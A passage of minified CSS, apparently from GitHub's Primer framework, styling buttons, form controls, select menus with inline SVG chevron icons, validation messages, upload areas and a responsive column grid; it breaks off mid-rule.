.BtnGroup-item,.BtnGroup-parent[aria-selected=true] .BtnGroup-item,.BtnGroup-parent:focus .BtnGroup-item,.BtnGroup-parent:active .BtnGroup-item,.BtnGroup-parent:hover .BtnGroup-item{border-right-width:1px}.BtnGroup-parent.selected+.BtnGroup-item,.BtnGroup-parent.selected+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-item,.BtnGroup-parent[aria-selected=true]+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-item,.BtnGroup-parent:focus+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-item,.BtnGroup-parent:active+.BtnGroup-parent .BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-item,.BtnGroup-parent:hover+.BtnGroup-parent .BtnGroup-item{border-left-width:0}.BtnGroup-item:focus,.BtnGroup-item:active,.BtnGroup-parent:focus,.BtnGroup-parent:active{z-index:1}.btn-link{display:inline-block;padding:0;font-size:inherit;color:var(--color-accent-fg);text-decoration:none;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;background-color:transparent;border:0;-webkit-appearance:none;appearance:none}.btn-link:hover{text-decoration:underline}.btn-link:disabled,.btn-link:disabled:hover,.btn-link[aria-disabled=true],.btn-link[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled);cursor:default}.btn-link:not(.dropdown-item):focus,.btn-link:not(.dropdown-item):focus-visible{border-radius:6px;outline-offset:0}.btn-invisible{color:var(--color-accent-fg);background-color:transparent;border:0;border-radius:6px;box-shadow:none}.btn-invisible:hover,.btn-invisible.zeroclipboard-is-hover{color:var(--color-accent-fg);background-color:var(--color-btn-hover-bg);outline:none;box-shadow:none}.btn-invisible:active,.btn-invisible.selected,.btn-invisible[aria-selected=true],.btn-invisible.zeroclipboard-is-active{color:var(--color-accent-fg);background:none;border-color:var(--color-btn-active-border);outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.btn-invisible:active .btn-invisible.zeroclipboard-is-active{background-color:var(--color-btn-selected-bg)}.btn-invisible:disabled,.btn-invisible.disabled,.btn-invisible[aria-disabled=true]{color:var(--color-primer-fg-disabled);background-color:transparent}.btn-octicon{display:inline-block;padding:5px;margin-left:5px;line-height:1;color:var(--color-fg-muted);vertical-align:middle;background:transparent;border:0;box-shadow:none}.btn-octicon:hover{color:var(--color-accent-fg)}.btn-octicon:focus,.btn-octicon:focus-visible{border-radius:6px}.btn-octicon.disabled,.btn-octicon[aria-disabled=true]{color:var(--color-primer-fg-disabled);cursor:default}.btn-octicon.disabled:hover,.btn-octicon[aria-disabled=true]:hover{color:var(--color-primer-fg-disabled)}.btn-octicon-danger:hover{color:var(--color-danger-fg)}.close-button{padding:0;color:var(--color-fg-muted);background:transparent;border:0}.close-button:hover{color:var(--color-fg-default)}.close-button:active{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.hidden-text-expander{display:block}.hidden-text-expander.inline{position:relative;top:-1px;display:inline-block;margin-left:5px;line-height:0}.hidden-text-expander a,.ellipsis-expander{display:inline-block;height:12px;padding:0 5px 5px;font-size:12px;font-weight:600;line-height:6px;color:var(--color-fg-default);text-decoration:none;vertical-align:middle;background:var(--color-neutral-muted);border:0;border-radius:1px}.hidden-text-expander a:hover,.ellipsis-expander:hover{text-decoration:none;background-color:var(--color-accent-muted)}.hidden-text-expander a:active,.ellipsis-expander:active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.btn-with-count{float:left;border-top-right-radius:0;border-bottom-right-radius:0}.btn-with-count:focus{z-index:1}.social-count{position:relative;float:left;padding:3px 12px;font-size:12px;font-weight:600;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);border:1px solid var(--color-btn-border);border-left:0;border-top-right-radius:6px;border-bottom-right-radius:6px;box-shadow:var(--color-shadow-small),var(--color-primer-shadow-highlight)}.social-count:hover,.social-count:active{text-decoration:none}.social-count:hover{color:var(--color-accent-fg);cursor:pointer}.TableObject{display:table}.TableObject-item{display:table-cell;width:1%;white-space:nowrap;vertical-align:middle}.TableObject-item--primary{width:99%}fieldset{padding:0;margin:0;border:0}label{font-weight:600}.form-control,.form-select{padding:5px 12px;font-size:14px;line-height:20px;color:var(--color-fg-default);vertical-align:middle;background-color:var(--color-canvas-default);background-repeat:no-repeat;background-position:right 8px center;border:1px solid var(--color-border-default);border-radius:6px;box-shadow:var(--color-primer-shadow-inset);transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.form-control:focus,.form-select:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control:focus:not(:focus-visible),.form-select:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.form-control:focus-visible,.form-select:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.form-control.border-0:focus,.form-control.border-0:focus-visible,.form-select.border-0:focus,.form-select.border-0:focus-visible{border:1px solid var(--color-accent-fg) !important}.form-control[disabled],.form-select[disabled]{color:var(--color-primer-fg-disabled);background-color:var(--color-input-disabled-bg);border-color:var(--color-border-default);-webkit-text-fill-color:var(--color-primer-fg-disabled);opacity:1}.form-control[disabled]::placeholder,.form-select[disabled]::placeholder{color:var(--color-primer-fg-disabled)}@supports(-webkit-touch-callout: none){.form-control,.form-select{font-size:16px}@media(min-width: 768px){.form-control,.form-select{font-size:14px}}}textarea.form-control{padding-top:8px;padding-bottom:8px;line-height:1.5}.input-contrast{background-color:var(--color-canvas-inset)}.input-contrast:focus{background-color:var(--color-canvas-default)}::placeholder{color:var(--color-fg-subtle);opacity:1}.input-sm{min-height:28px;padding-top:3px;padding-bottom:3px;font-size:12px;line-height:20px}.input-lg{font-size:16px}.input-block{display:block;width:100%}.input-monospace{font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace}.input-hide-webkit-autofill::-webkit-contacts-auto-fill-button{position:absolute;right:0;display:none !important;pointer-events:none;visibility:hidden}.form-checkbox{padding-left:20px;margin:15px 0;vertical-align:middle}.form-checkbox label em.highlight{position:relative;left:-4px;padding:2px 4px;font-style:normal;background:var(--color-attention-subtle);border-radius:6px}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{float:left;margin:5px 0 0 -20px;vertical-align:middle}.form-checkbox .note{display:block;margin:0;font-size:12px;font-weight:400;color:var(--color-fg-muted)}.form-checkbox-details{display:none}.form-checkbox-details-trigger:checked~* .form-checkbox-details,.form-checkbox-details-trigger:checked~.form-checkbox-details{display:block}.hfields{margin:15px 0}.hfields::before{display:table;content:""}.hfields::after{display:table;clear:both;content:""}.hfields .form-group{float:left;margin:0 30px 0 0}.hfields .form-group dt label,.hfields .form-group .form-group-header label{display:inline-block;margin:5px 0 0;color:var(--color-fg-muted)}.hfields .form-group dt img,.hfields .form-group .form-group-header img{position:relative;top:-2px}.hfields .btn{float:left;margin:28px 25px 0 -20px}.hfields .form-select{margin-top:5px}input::-webkit-outer-spin-button,input::-webkit-inner-spin-button{margin:0;-webkit-appearance:none;appearance:none}.form-actions::before{display:table;content:""}.form-actions::after{display:table;clear:both;content:""}.form-actions .btn{float:right}.form-actions .btn+.btn{margin-right:5px}.form-warning{padding:8px 10px;margin:10px 0;font-size:14px;color:var(--color-attention-fg);background:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.form-warning p{margin:0;line-height:1.5}.form-warning a{font-weight:600}.form-select{display:inline-block;max-width:100%;height:32px;padding-right:24px;background-color:var(--color-canvas-default);background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzU4NjA2OSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=");background-repeat:no-repeat;background-position:right 4px center;background-size:16px;-webkit-appearance:none;appearance:none}.form-select::-ms-expand{opacity:0}.form-select[multiple]{height:auto}[data-color-mode=light][data-light-theme*=dark] .form-select,[data-color-mode=dark][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .form-select{background-image:url("data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTYiIGhlaWdodD0iMTYiIHZpZXdCb3g9IjAgMCAxNiAxNiIgZmlsbD0iIzZlNzY4MSIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj48cGF0aCBkPSJNNC40MjcgOS40MjdsMy4zOTYgMy4zOTZhLjI1MS4yNTEgMCAwMC4zNTQgMGwzLjM5Ni0zLjM5NkEuMjUuMjUgMCAwMDExLjM5NiA5SDQuNjA0YS4yNS4yNSAwIDAwLS4xNzcuNDI3ek00LjQyMyA2LjQ3TDcuODIgMy4wNzJhLjI1LjI1IDAgMDEuMzU0IDBMMTEuNTcgNi40N2EuMjUuMjUgMCAwMS0uMTc3LjQyN0g0LjZhLjI1LjI1IDAgMDEtLjE3Ny0uNDI3eiIgLz48L3N2Zz4=")}}.select-sm{height:28px;padding-top:3px;padding-bottom:3px;font-size:12px}.select-sm[multiple]{height:auto;min-height:0}.form-group{margin:15px 0}.form-group .form-control.autocomplete-embedded-icon-wrap:focus-within{background-color:var(--color-canvas-default)}.form-group .form-control{width:440px;max-width:100%;margin-right:5px;background-color:var(--color-canvas-inset)}.form-group .form-control:focus{background-color:var(--color-canvas-default)}.form-group .form-control.shorter{width:130px}.form-group .form-control.short{width:250px}.form-group .form-control.input-block,.form-group .form-control.long{width:100%}.form-group textarea.form-control{width:100%;height:200px;min-height:200px}.form-group textarea.form-control.short{height:50px;min-height:50px}.form-group dt,.form-group .form-group-header{margin:0 0 6px}.form-group label{position:relative}.form-group.flattened dt,.form-group.flattened .form-group-header{float:left;margin:0;line-height:32px}.form-group.flattened dd,.form-group.flattened .form-group-body{line-height:32px}.form-group dd h4,.form-group .form-group-body h4{margin:4px 0 0}.form-group dd h4.is-error,.form-group .form-group-body h4.is-error{color:var(--color-danger-fg)}.form-group dd h4.is-success,.form-group .form-group-body h4.is-success{color:var(--color-success-fg)}.form-group dd h4+.note,.form-group .form-group-body h4+.note{margin-top:0}.form-group.required dt label::after,.form-group.required .form-group-header label::after{padding-left:5px;color:var(--color-danger-fg);content:"*"}.form-group .success,.form-group .error,.form-group .indicator{display:none;font-size:12px;font-weight:600}.form-group.loading{opacity:.5}.form-group.loading .indicator{display:inline}.form-group.loading .spinner{display:inline-block;vertical-align:middle}.form-group.successful .success{display:inline;color:var(--color-success-fg)}.form-group.successed .success,.form-group.successed .warning,.form-group.successed .error,.form-group.warn .success,.form-group.warn .warning,.form-group.warn .error,.form-group.errored .success,.form-group.errored .warning,.form-group.errored .error{position:absolute;z-index:10;display:block;max-width:450px;padding:4px 8px;margin:8px 0 0;font-size:12px;font-weight:400;border-style:solid;border-width:1px;border-radius:6px}.form-group.successed .success::after,.form-group.successed .success::before,.form-group.successed .warning::after,.form-group.successed .warning::before,.form-group.successed .error::after,.form-group.successed .error::before,.form-group.warn .success::after,.form-group.warn .success::before,.form-group.warn .warning::after,.form-group.warn .warning::before,.form-group.warn .error::after,.form-group.warn .error::before,.form-group.errored .success::after,.form-group.errored .success::before,.form-group.errored .warning::after,.form-group.errored .warning::before,.form-group.errored .error::after,.form-group.errored .error::before{position:absolute;bottom:100%;left:10px;z-index:15;width:0;height:0;pointer-events:none;content:" ";border:solid transparent}.form-group.successed .success::after,.form-group.successed .warning::after,.form-group.successed .error::after,.form-group.warn .success::after,.form-group.warn .warning::after,.form-group.warn .error::after,.form-group.errored .success::after,.form-group.errored .warning::after,.form-group.errored .error::after{border-width:5px}.form-group.successed .success::before,.form-group.successed .warning::before,.form-group.successed .error::before,.form-group.warn .success::before,.form-group.warn .warning::before,.form-group.warn .error::before,.form-group.errored .success::before,.form-group.errored .warning::before,.form-group.errored .error::before{margin-left:-1px;border-width:6px}.form-group.successed .success{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle));border-color:var(--color-success-muted)}.form-group.successed .success::after{border-bottom-color:var(--color-success-subtle)}.form-group.successed .success::before{border-bottom-color:var(--color-success-muted)}.form-group.warn .form-control:not(:focus,:focus-visible){border-color:var(--color-attention-emphasis)}.form-group.warn .warning{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle));border-color:var(--color-attention-muted)}.form-group.warn .warning::after{border-bottom-color:var(--color-attention-subtle)}.form-group.warn .warning::before{border-bottom-color:var(--color-attention-muted)}.form-group.errored .form-control:not(:focus,:focus-visible){border-color:var(--color-danger-emphasis)}.form-group.errored label{color:var(--color-danger-fg)}.form-group.errored .error{color:var(--color-fg-default);background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-danger-subtle), var(--color-danger-subtle));border-color:var(--color-danger-muted)}.form-group.errored .error::after{border-bottom-color:var(--color-danger-subtle)}.form-group.errored .error::before{border-bottom-color:var(--color-danger-muted)}.note{min-height:17px;margin:4px 0 2px;font-size:12px;color:var(--color-fg-muted)}.note .spinner{margin-right:3px;vertical-align:middle}dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{padding-right:30px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){dl.form-group>dd .form-control.is-autocheck-loading,dl.form-group>dd .form-control.is-autocheck-successful,dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-errored{background-size:16px 16px}dl.form-group>dd .form-control.is-autocheck-loading,.form-group>.form-group-body .form-control.is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}dl.form-group>dd .form-control.is-autocheck-successful,.form-group>.form-group-body .form-control.is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}dl.form-group>dd .form-control.is-autocheck-errored,.form-group>.form-group-body .form-control.is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.status-indicator{display:inline-block;width:16px;height:16px;margin-left:5px}.status-indicator .octicon{display:none}.status-indicator-success::before{content:""}.status-indicator-success .octicon-check{display:inline-block;color:var(--color-success-fg);fill:var(--color-success-fg)}.status-indicator-success .octicon-x{display:none}.status-indicator-failed::before{content:""}.status-indicator-failed .octicon-check{display:none}.status-indicator-failed .octicon-x{display:inline-block;color:var(--color-danger-fg);fill:var(--color-danger-fg)}.status-indicator-loading{width:16px;background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-repeat:no-repeat;background-position:0 0;background-size:16px}.inline-form{display:inline-block}.inline-form .btn-plain{background-color:transparent;border:0}.drag-and-drop{padding:7px 10px;margin:0;font-size:13px;line-height:16px;color:var(--color-fg-muted);background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.drag-and-drop .default,.drag-and-drop .loading,.drag-and-drop .error{display:none}.drag-and-drop .error{color:var(--color-danger-fg)}.drag-and-drop img{vertical-align:top}.is-default .drag-and-drop .default{display:inline-block}.is-uploading .drag-and-drop .loading{display:inline-block}.is-bad-file .drag-and-drop .bad-file{display:inline-block}.is-duplicate-filename .drag-and-drop .duplicate-filename{display:inline-block}.is-too-big .drag-and-drop .too-big{display:inline-block}.is-hidden-file .drag-and-drop .hidden-file{display:inline-block}.is-empty .drag-and-drop .empty{display:inline-block}.is-bad-permissions .drag-and-drop .bad-permissions{display:inline-block}.is-repository-required .drag-and-drop .repository-required{display:inline-block}.drag-and-drop-error-info{font-weight:400;color:var(--color-fg-muted)}.drag-and-drop-error-info a{color:var(--color-accent-fg)}.is-failed .drag-and-drop .failed-request{display:inline-block}.manual-file-chooser{position:absolute;width:240px;padding:5px;margin-left:-80px;cursor:pointer;opacity:.0001}.manual-file-chooser:hover+.manual-file-chooser-text{text-decoration:underline}.btn .manual-file-chooser{top:0;padding:0;line-height:34px}.upload-enabled textarea{display:block;border-bottom:1px dashed var(--color-border-default);border-bottom-right-radius:0;border-bottom-left-radius:0}.upload-enabled.focused{border-color:var(--color-accent-fg);border-radius:6px;outline:none;box-shadow:0 0 0 2px var(--color-accent-fg)}.upload-enabled.focused .form-control{border-color:transparent;border-bottom-color:var(--color-accent-fg);box-shadow:none}.upload-enabled.focused .drag-and-drop{border-color:transparent}.dragover textarea,.dragover .drag-and-drop{box-shadow:#c9ff00 0 0 3px}.write-content{position:relative}.previewable-comment-form{position:relative}.previewable-comment-form .tabnav{position:relative;padding:8px 8px 0}.previewable-comment-form .comment{border:1px solid var(--color-border-default)}.previewable-comment-form .comment-form-error{margin-bottom:8px}.previewable-comment-form .write-content,.previewable-comment-form .preview-content{display:none;margin:0 8px 8px}.previewable-comment-form.write-selected .write-content,.previewable-comment-form.preview-selected .preview-content{display:block}.previewable-comment-form textarea{display:block;width:100%;min-height:100px;max-height:500px;padding:8px;resize:vertical}.form-action-spacious{margin-top:10px}div.composer{margin-top:0;border:0}.composer .comment-form-textarea{height:200px;min-height:200px}.composer .tabnav{margin:0 0 10px}h2.account{margin:15px 0 0;font-size:18px;font-weight:400;color:var(--color-fg-muted)}p.explain{position:relative;font-size:12px;color:var(--color-fg-muted)}p.explain strong{color:var(--color-fg-default)}p.explain .octicon{margin-right:5px;color:var(--color-fg-muted)}p.explain .minibutton{top:-4px;float:right}.form-group label{position:static}.input-group{display:table}.input-group .form-control{position:relative;width:100%}.input-group .form-control:focus{z-index:2}.input-group .form-control+.btn{margin-left:0}.input-group.inline{display:inline-table}.input-group:focus-within button{outline-offset:0}.input-group .form-control.autocomplete-embedded-icon-wrap{display:inline-flex;padding:5px 8px}.input-group .form-control,.input-group-button{display:table-cell}.input-group-button{width:1%;vertical-align:middle}.input-group-button--autocomplete-embedded-icon{vertical-align:bottom}.input-group .form-control:first-child,.input-group-button:first-child .btn{border-top-right-radius:0;border-bottom-right-radius:0}.input-group-button:first-child .btn{margin-right:-1px}.input-group .form-control:last-child,.input-group-button:last-child .btn{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-button:last-child .btn{margin-left:-1px}.radio-group::before{display:table;content:""}.radio-group::after{display:table;clear:both;content:""}.radio-label{float:left;padding:6px 16px 6px 36px;margin-left:-1px;font-size:14px;line-height:20px;color:var(--color-fg-default);cursor:pointer;border:1px solid var(--color-border-default)}:checked+.radio-label{position:relative;z-index:1;border-color:var(--color-accent-emphasis)}.radio-label:first-of-type{margin-left:0;border-top-left-radius:6px;border-bottom-left-radius:6px}.radio-label:last-of-type{border-top-right-radius:6px;border-bottom-right-radius:6px}.radio-label .octicon{margin-left:4px;color:var(--color-fg-subtle)}.radio-input{z-index:3;float:left;margin:10px -32px 0 16px}.radio-input:disabled{position:relative}.radio-input:disabled+.radio-label{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.radio-input:disabled+.radio-label .octicon{color:inherit}.container-sm{max-width:544px;margin-right:auto;margin-left:auto}.container-md{max-width:768px;margin-right:auto;margin-left:auto}.container-lg{max-width:1012px;margin-right:auto;margin-left:auto}.container-xl{max-width:1280px;margin-right:auto;margin-left:auto}.col-1{width:8.33333333%}.col-2{width:16.66666666%}.col-3{width:24.99999999%}.col-4{width:33.33333332%}.col-5{width:41.66666665%}.col-6{width:49.99999998%}.col-7{width:58.33333331%}.col-8{width:66.66666664%}.col-9{width:74.99999997%}.col-10{width:83.3333333%}.col-11{width:91.66666663%}.col-12{width:100%}@media(min-width: 544px){.col-sm-1{width:8.33333333%}.col-sm-2{width:16.66666666%}.col-sm-3{width:24.99999999%}.col-sm-4{width:33.33333332%}.col-sm-5{width:41.66666665%}.col-sm-6{width:49.99999998%}.col-sm-7{width:58.33333331%}.col-sm-8{width:66.66666664%}.col-sm-9{width:74.99999997%}.col-sm-10{width:83.3333333%}.col-sm-11{width:91.66666663%}.col-sm-12{width:100%}}@media(min-width: 768px){.col-md-1{width:8.33333333%}.col-md-2{width:16.66666666%}.col-md-3{width:24.99999999%}.col-md-4{width:33.33333332%}.col-md-5{width:41.66666665%}.col-md-6{width:49.99999998%}.col-md-7{width:58.33333331%}.col-md-8{width:66.66666664%}.col-md-9{width:74.99999997%}.col-md-10{width:83.3333333%}.col-md-11{width:91.66666663%}.col-md-12{width:100%}}@media(min-width: 1012px){.col-lg-1{width:8.33333333%}.col-lg-2{width:16.66666666%}.col-lg-3{width:24.99999999%}.col-lg-4{width:33.33333332%}.col-lg-5{width:41.66666665%}.col-lg-6{width:49.99999998%}.col-lg-7{width:58.33333331%}.col-lg-8{width:66.66666664%}.col-lg-9{width:74.99999997%}.col-lg-10{width:83.3333333%}.col-lg-11{width:91.66666663%}.col-lg-12{width:100%}}@media(min-width: 1280px){.col-xl-1{width:8.33333333%}.col-xl-2{width:16.66666666%}.col-xl-3{width:24.99999999%}.col-xl-4{width:33.33333332%}.col-xl-5{width:41.66666665%}.col-xl-6{width:49.99999998%}.col-xl-7{width:58.33333331%}.col-xl-8{width:66.66666664%}.col-xl-9{width:74.99999997%}.col-xl-10{width:83.3333333%}.col-xl-11{width:91.66666663%}.col-xl-12{width:100%}}.gutter{margin-right:-16px;margin-left:-16px}.gutter>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-condensed{margin-right:-8px;margin-left:-8px}.gutter-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-spacious{margin-right:-24px;margin-left:-24px}.gutter-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}@media(min-width: 544px){.gutter-sm{margin-right:-16px;margin-left:-16px}.gutter-sm>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-sm-condensed{margin-right:-8px;margin-left:-8px}.gutter-sm-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-sm-spacious{margin-right:-24px;margin-left:-24px}.gutter-sm-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 768px){.gutter-md{margin-right:-16px;margin-left:-16px}.gutter-md>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-md-condensed{margin-right:-8px;margin-left:-8px}.gutter-md-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-md-spacious{margin-right:-24px;margin-left:-24px}.gutter-md-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1012px){.gutter-lg{margin-right:-16px;margin-left:-16px}.gutter-lg>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-lg-condensed{margin-right:-8px;margin-left:-8px}.gutter-lg-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-lg-spacious{margin-right:-24px;margin-left:-24px}.gutter-lg-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1280px){.gutter-xl{margin-right:-16px;margin-left:-16px}.gutter-xl>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-xl-condensed{margin-right:-8px;margin-left:-8px}.gutter-xl-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-xl-spacious{margin-right:-24px;margin-left:-24px}.gutter-xl-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}.offset-1{margin-left:8.33333333% !important}.offset-2{margin-left:16.66666666% !important}.offset-3{margin-left:24.99999999% !important}.offset-4{margin-left:33.33333332% !important}.offset-5{margin-left:41.66666665% !important}.offset-6{margin-left:49.99999998% !important}.offset-7{margin-left:58.33333331% !important}.offset-8{margin-left:66.66666664% !important}.offset-9{margin-left:74.99999997% !important}.offset-10{margin-left:83.3333333% !important}.offset-11{margin-left:91.66666663% !important}@media(min-width: 544px){.offset-sm-1{margin-left:8.33333333% !important}.offset-sm-2{margin-left:16.66666666% !important}.offset-sm-3{margin-left:24.99999999% !important}.offset-sm-4{margin-left:33.33333332% !important}.offset-sm-5{margin-left:41.66666665% !important}.offset-sm-6{margin-left:49.99999998% !important}.offset-sm-7{margin-left:58.33333331% !important}.offset-sm-8{margin-left:66.66666664% !important}.offset-sm-9{margin-left:74.99999997% !important}.offset-sm-10{margin-left:83.3333333% !important}.offset-sm-11{margin-left:91.66666663% !important}}@media(min-width: 768px){.offset-md-1{margin-left:8.33333333% !important}.offset-md-2{margin-left:16.66666666% !important}.offset-md-3{margin-left:24.99999999% !important}.offset-md-4{margin-left:33.33333332% !important}.offset-md-5{margin-left:41.66666665% !important}.offset-md-6{margin-left:49.99999998% !important}.offset-md-7{margin-left:58.33333331% !important}.offset-md-8{margin-left:66.66666664% !important}.offset-md-9{margin-left:74.99999997% !important}.offset-md-10{margin-left:83.3333333% !important}.offset-md-11{margin-left:91.66666663% !important}}@media(min-width: 1012px){.offset-lg-1{margin-left:8.33333333% !important}.offset-lg-2{margin-left:16.66666666% !important}.offset-lg-3{margin-left:24.99999999% !important}.offset-lg-4{margin-left:33.33333332% !important}.offset-lg-5{margin-left:41.66666665% !important}.offset-lg-6{margin-left:49.99999998% !important}.offset-lg-7{margin-left:58.33333331% !important}.offset-lg-8{margin-left:66.66666664% !important}.offset-lg-9{margin-left:74.99999997% !important}.offset-lg-10{margin-left:83.3333333% !important}.offset-lg-11{margin-left:91.66666663% !important}}@media(min-width: 1280px){.offset-xl-1{margin-left:8.33333333% !important}.offset-xl-2{margin-left:16.66666666% !important}.offset-xl-3{margin-left:24.99999999% !important}.offset-xl-4{margin-left:33.33333332% !important}.offset-xl-5{margin-left:41.66666665% !important}.offset-xl-6{margin-left:49.99999998% !important}.offset-xl-7{margin-left:58.33333331% !important}.offset-xl-8{margin-left:66.66666664% !important}.offset-xl-9{margin-left:74.99999997% !important}.offset-xl-10{margin-left:83.3333333% !important}.offset-xl-11{margin-left:91.66666663% !important}}.Layout{display:grid;--Layout-sidebar-width: 220px;--Layout-gutter: 16px;grid-auto-flow:column;grid-template-columns:auto 0 minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter)));grid-gap:var(--Layout-gutter)}@media(max-width: calc(544px - 0.02px)){.Layout{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout .Layout-sidebar,.Layout .Layout-divider,.Layout .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--sidebarPosition-flowRow-start 